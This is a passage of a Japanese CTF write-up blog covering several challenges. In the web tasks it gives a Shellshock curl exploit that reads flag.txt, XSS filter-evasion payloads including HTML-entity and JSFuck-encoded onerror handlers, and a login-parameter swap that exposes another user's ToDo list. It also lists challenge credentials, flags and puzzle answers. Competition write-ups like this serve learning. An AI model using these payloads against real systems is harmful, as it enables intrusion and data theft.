    if( abs(table[j] -j) > 2 )goto i7e;
  }


  for(j=0;j<9;j++){
   if(ampt[i8][j]==1){
    change(&table[j],&table[j+1]);
    sprintf(answer,"%s %d %d ",answer,8,j);
   }
  }
  for(j=0;j<9;j++){
    if( abs(table[j] -j) > 1 )goto i8e;
  }


  for(j=0;j<9;j++){
   //printf("Debug:%d %d %d len:%d\n",i9,j,ampt[i9][j],strlen(answer));
   //printf("%d %d %d %d %d %d %d %d %d \n",table[0],table[1],table[2],table[3],table[4],table[5],table[6],table[7],table[8],table[9]);
   if(ampt[i9][j]==1){
    change(&table[j],&table[j+1]);
    sprintf(answer,"%s %d %d ",answer,9,j);
   }
  }

  //fprintf(stderr,"INFO i0=%d i1=%d i2=%d i3=%d i4=%d i5=%d i6=%d i7=%d i8=%d i9=%d\n",i0,i1,i2,i3,i4,i5,i6,i7,i8,i9);
  //printf("Debug: %d %d %d %d %d %d %d %d %d %d\n",table[0],table[1],table[2],table[3],table[4],table[5],table[6],table[7],table[8],table[9]);
  //答え合わせ
  for(j=0; ylimit >= j ;j++){
    if( table[j] != j ){
      flag=1;
    }
  }
  if(flag==0)printf("%s\n",answer);

 //}}}}}}}}}}
 i9e:
 continue;
}
 i8e:
 continue;
}
 i7e:
 continue;
}
 i6e:
 continue;
}
 i5e:
 continue;
}
 i4e:
 continue;
}
 i3e:
 continue;
}
 i2e:
 continue;
}
 i1e:
 continue;
}
 i0e:
 continue;
}

}

これで実行しても62通りの解答は出ないのだけれど(たぶん、ソースのどこかがおかしい)、ランダムに出す方と組み合わせて62通りを達成した。

Flag Get!!Congratulations! flag={021qsyrsuq2020dtsqpq02020zqkiq202020b+tq9202020m_q382020201q34620202qq8b6220202qk+h0l2020qesrqypq02q}

191 超文書転送術 GIFアニメ生成サイト

http://yamatoctf:qw8P3j40wEWTK2sRDXs4@210.146.64.47/


GIFアニメが生成されるサイト

アップロードするごとに番号が付与される。
1番最初に登録されたものを探すと答えが見つかる。

ただし画像のリンク元が解らないようになっている。
ファイルアップロードする際の動きを、Chromeのデベロッパーツールで見てみるとリンク元が解る。

191.png

という訳で、FLAGは以下のリンク先にある。

http://210.146.64.47/movies/newgif/1

こんなのがある

191.gif

一瞬ちらっとFLAGがw

答えを見るにはアニメgifファイルを分解する方法もあるけど、目押しでスクリーンショットを取る方法で対応した。

flag={H0WdoUpronunceGIF?}

192 超文書転送術 Network Tools

京の都を荒らしまわっていた伊士川御得門であるが、後継者の育成をどうするか悩んでいた。手下達の情報技術を磨かせるべく、無償で利用できる学習サービスを探すことにした。たまたま手頃なものが見つかったのだが、サイトのセキュリティが怪しいように思われる。問題ないだろうか?
http://210.146.64.37:60888/


ヒントについて

About の所を見てみよう。
なんかヒントがあるみたい。

About This Site
Since 2000 we Have offered some Effective training courses , which cover network, Linux, web applications and related Licenses, to Students in worldwide. Hopefully Our services help you understand the Core Knowlegde of technologies.
NOTE: DON'T FORGET TO FIND OUT THE HIDDEN MESSAGE HERE!

文中の不自然な箇所が英大文字になっています。抜き出してみましょう。

SHELLSHOCK

シェルショックだー!

SHELLSHOCK

USERAGENTの編集が必要。Fiddlerとかを使ってもいいと思うんだけど、curlコマンドでやると楽。

$ curl  --request POST --data  'cmd=ps&option=-f'  -A '() { :;}; /bin/ls' http://210.146.64.37:60888/exec
<!doctype html>
<title>Network Tools Collection</title>
<link rel=stylesheet type=text/css href="/static/style.css">
<div class=page>
  <div id='menu'>
    <ul>
      <li><a href="/">Welcome</a></li>
      <li><a href="/list">Command List</a></li>
      <li><a href="/about">About</a></li>
      <li><a href="/contact">Contact Info</a></li>
    </ul>
    <div class='caption'>Network Tools ver 0.1</div>
  </div>
  <div id='content'>

  <div class='headline'>ps -f</div>
  <div class='body'>

    flag.txt<br />

    logs<br />

    logs.py<br />

    myapp.cgi<br />

    nwtools.py<br />

    static<br />

    templates<br />

    <br />

  </div>
  <div>

    <br />

  <a href="/list">Return</a>
  </div>

  </div>
</div>
$ curl  --request POST --data  'cmd=ps&option=-f'  -A '() { :;}; /bin/cat flag.txt' http://210.146.64.37:60888/exec
<!doctype html>
<title>Network Tools Collection</title>
<link rel=stylesheet type=text/css href="/static/style.css">
<div class=page>
  <div id='menu'>
    <ul>
      <li><a href="/">Welcome</a></li>
      <li><a href="/list">Command List</a></li>
      <li><a href="/about">About</a></li>
      <li><a href="/contact">Contact Info</a></li>
    </ul>
    <div class='caption'>Network Tools ver 0.1</div>
  </div>
  <div id='content'>

  <div class='headline'>ps -f</div>
  <div class='body'>

    flag={Update bash to the latest version!}<br />

    <br />

  </div>
  <div>

    <br />

  <a href="/list">Return</a>
  </div>

  </div>
</div>

flag={Update bash to the latest version!}

193 超文書転送術 箱庭XSS

193-hakoniwa-xss-package-q1.zip


伝説の箱庭XSSでございます。

OWASPさんの力を借りました。

https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

上から順々に入力していって~

<img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">

これでいけた。

194 超文書転送術 YamaToDo

これはマルチエンコーディングに対応したToDoサービスです。
このサービスの利用者である「yamato」は、大事な情報もToDoに記録する癖があるようです。あなたは、彼の大事な情報を盗み見ることはできますか?

http://yamatoctf:GUn7Sn1LVJQZBwyG8wZPAItnoBZ04Tlx@210.146.64.44/
source code: http://yamatoctf:GUn7Sn1LVJQZBwyG8wZPAItnoBZ04Tlx@210.146.64.44/yamatodo-1bd17c15b05b2ab254a8d8deebcc7430.tar.gz
(sqlmap等を使ひても助けてくださらぬ。ソースコードを読みて存念て下され。)


まず、任意のユーザとパスワードを作って登録しましょう。
私は以下で作っておきました。

  • id:kanata
  • pass:test

まず以下を実行してログイン

$ curl --user yamatoctf:GUn7Sn1LVJQZBwyG8wZPAItnoBZ04Tlx -c cookie -b cookie  -d "user_id=kanata" -d "password=test" "http://210.146.64.44/"

それで、ユーザ名だけyamatoに変えてもう一回実行

ログイン認証をcookieで行ってますが、TODOの表示をするためのキーは、Webからの入力に頼っている事に起因した脆弱性・・・というか設計ミスみたいな感じですねw

$ curl --user yamatoctf:GUn7Sn1LVJQZBwyG8wZPAItnoBZ04Tlx -c cookie -b cookie  -d "user_id=yamato" -d "password=test" "http://210.146.64.44/"
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">

    <title>YamaToDo</title>

    <script src="/js/jquery-1.11.3.min.js"></script>
    <script src="/js/bootstrap.min.js"></script>

    <link href="/css/bootstrap.min.css" rel="stylesheet">
    <link href="/css/theme.css" rel="stylesheet">
  </head>
  <body>
    <div class="container">
      <div class="jumbotron">
        <img src="/images/logo.png" alt="">
      </div>

            <div class="alert alert-danger alert-dismissible fade in" role="alert">
        <button type="button" class="close" data-dismiss="alert" aria-label="Close">
          <span aria-hidden="true">&times;</span>
        </button>
        Invalid param      </div>
            <div class="row">
        <form action="/?ie=UTF-8" method="post">
          <div class="input-group input-group-lg">
            <input type="text" name="body" class="form-control" placeholder="Enter the ToDo☆(ゝω・)v">
            <span class="input-group-btn">
              <input type="submit" class="btn btn-primary" value="New">
            </span>
          </div>
        </form>
      </div>

      <div class="row">
        <ul class="list-group">
                      <li class="list-group-item">
              <span class="badge">0000-00-00 00:00:00</span>
              ※ここに文字化けした文字列※            </li>
                      <li class="list-group-item">
              <span class="badge">0000-00-00 00:00:00</span>
              Yo! check the first todo☆(ゝω・)v            </li>
                      <li class="list-group-item">
              <span class="badge">2015-11-20 14:43:43</span>
              aaa            </li>
                      <li class="list-group-item">
              <span class="badge">2015-11-20 14:43:45</span>
              aaa            </li>
                      <li class="list-group-item">
              <span class="badge">2015-11-20 14:47:21</span>
              flag = mkafh98hwaofnaslh08y4830fjioafnlka            </li>
                      <li class="list-group-item">
              <span class="badge">2015-11-20 23:21:54</span>
              aawfwaef            </li>
                      <li class="list-group-item">
              <span class="badge">2015-11-20 23:43:20</span>
              afewa            </li>
                      <li class="list-group-item">
              <span class="badge">2015-11-21 22:38:51</span>
              test            </li>
                      <li class="list-group-item">
              <span class="badge">2015-11-21 22:49:07</span>
              ’            </li>
                      <li class="list-group-item">
              <span class="badge">2015-11-21 22:50:05</span>
              ’            </li>
                      <li class="list-group-item">
              <span class="badge">2015-11-22 16:52:04</span>
              +ADw-script+AD4-alert(document.location)+ADsAPA-/script+AD4-             </li>
                      <li class="list-group-item">
              <span class="badge">2015-11-22 16:52:07</span>
              +ADw-script+AD4-alert(document.location)+ADsAPA-/script+AD4-             </li>
                      <li class="list-group-item">
              <span class="badge">2015-11-22 16:52:09</span>
              +ADw-script+AD4-alert(document.location)+ADsAPA-/script+AD4-             </li>
                      <li class="list-group-item">
              <span class="badge">2015-11-22 17:15:21</span>
              test            </li>
                      <li class="list-group-item">
              <span class="badge">2015-11-22 17:17:14</span>
              +ADw-script+AD4-alert(document.location)+ADsAPA-/script+AD4-             </li>
                      <li class="list-group-item">
              <span class="badge">2015-11-22 17:17:45</span>
              +ADw-script+AD4-alert(document.location)+ADsAPA-/script+AD4-             </li>
                      <li class="list-group-item">
              <span class="badge">2015-11-22 17:17:50</span>
              +ADw-script+AD4-alert(document.location)+ADsAPA-/script+AD4-             </li>
                      <li class="list-group-item">
              <span class="badge">2015-11-22 17:43:05</span>
              &lt;meta charset=&quot;utf-7&quot;&gt;            </li>
                      <li class="list-group-item">
              <span class="badge">2015-11-22 17:45:17</span>
              +ADw-/title+AD4APA-meta http-equiv+AD0-&#039;content-type&#039; content+AD0-&#039;text/html+ADs-charset+AD0-utf-7&#039;+AD4-            </li>
                      <li class="list-group-item">
              <span class="badge">2015-11-24 02:51:12</span>
              +ADw-/title+AD4APA-meta http-equiv+AD0-&#039;content-type&#039; content+AD0-&#039;text/html+ADs-charset+AD0-utf-7&#039;+AD4-            </li>
                      <li class="list-group-item">
              <span class="badge">2015-12-01 18:42:56</span>
              test            </li>
                      <li class="list-group-item">
              <span class="badge">2015-12-01 18:43:08</span>
              test            </li>
                      <li class="list-group-item">
              <span class="badge">2015-12-01 18:43:38</span>
              test            </li>
                      <li class="list-group-item">
              <span class="badge">2015-12-23 22:30:17</span>
              test            </li>
                      <li class="list-group-item">
              <span class="badge">2015-12-23 22:35:11</span>
              +ADw-/title+AD4APA-meta http-equiv+AD0-&amp;#039;content-type&amp;#039; content+AD0-&amp;#039;text/html+ADs-charset+AD0-utf-7&amp;#039;+AD4-            </li>
                  </ul>
      </div>
    </div>
  </body>
</html>

TODOの1件目が文字化けしていますが、エンコードをEUCに変えると以下が見えます。

0000-00-00 00:00:00 半角でサブミットしてください☆(ゝω・)v flag={r3m3Mb3r_5c_pr0bL3m}

195 超文書転送術 Yamatoo

検索エンジンのWebフロントエンドを作ったので、テストしてください。
データベースには機密データがあるので、WAFを導入しています。
あなたはその機密データを盗めないでしょう☆(ゝω・)v

http://yamatoctf:GUn7Sn1LVJQZBwyG8wZPAItnoBZ04Tlx@210.146.64.45/
source code: http://yamatoctf:GUn7Sn1LVJQZBwyG8wZPAItnoBZ04Tlx@210.146.64.45/yamatoo-f81d10a8b575f2d00542b61e6e8e6748.tar.gz
(ツールを使ひても助けてくださらぬ。ソースコードを読みて存念て下され。)


ギブアップ。'の入力でエラーになるので、SQLインジェクションが可能であることは解るんだけど、任意のSQL文を実行させようにも、
その後のngram関数が邪魔して、にっちもさっちもいかなかったのです。
教えてエロい人。。

196 超文書転送術 Yamatonote

Yamatonoteはすーぱりあるぱーふぇくとなセキュリティです☆(ゝω・)v
あなたは「yamato」からノートを盗めますか?

http://yamatoctf:GUn7Sn1LVJQZBwyG8wZPAItnoBZ04Tlx@210.146.64.46/
source code: http://yamatoctf:GUn7Sn1LVJQZBwyG8wZPAItnoBZ04Tlx@210.146.64.46/yamatonote-ad66cc20b9e0f0a3b726c47cfe297c59.tar.gz
(ツールを使ひても助けてくださらぬ。ソースコードを読みて存念て下され。)


ギブアップ。「195 超文書転送術 Yamatoo」も解けたらやろうと思ってたけど、解けてないからやらなかった。
教えてエロい人。。

197 超文書転送術 箱庭XSS 2

197-hakoniwa-xss-package-q2.zip


伝説の箱にはXSS その2でございます。

「193 超文書転送術 箱庭XSS」と同じ入力はもちろん受け付けてくれない。

でも、諦めちゃいけない。試す価値はある。「193 超文書転送術 箱庭XSS」で通った入力をjsFuckという方法でエンコードしてみる。

<img src=x onerror="[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()">

これでいけた。

201 兵法術 将棋詰め壱

201-shogi-100.jpg

詰将棋でござる。
フラグは4桁の数字でお願いします。

例:歩を一歩前に進めたい場合は、5556を入力して下さい。

(数字にご注意を!)


やるだけ。コンピュータの何かを利用しなくても解ける。
というか、詰将棋を解くソフト等を利用しても、想定解より多い手数になったりして、あまり有用ではなかった。

4769

202 兵法術 将棋詰め弐

202-shogi-200.jpg

フラグが14桁の数字でござる。

数字を間違ゑぬごとくご注意下され。
よくぞ拝見する人・よくぞ気付く人しか解けぬ問題でござる。


やるだけ。数字は、1個だけ罠があるので、気をつけなければならない。

解答メモってなかったらしく、わからんです。

203 兵法術 将棋詰め参

203-shogi-300.jpg

フラグは12桁の数字でござる。
玉の動きはフラグに含まれているでござる。


やるだけ。

545646455747

ちゃんとメモってなかったから、もしかしたら違うかも。

204 兵法術 将棋詰め四

204-shogi-400.jpg

フラグは20桁の数字でござる。
玉の動きはフラグに含まれているでござる。


やるだけ。

26364656776656453635

ちゃんとメモってなかったから、もしかしたら違うかも。


コメント

kanata約3年前に追加

はせがわようすけさん(@hasegawayosuke)巡回済み。神。あんな解き方して恐縮でございます。

クリップボードから画像を追加 (サイズの上限: 100 MB)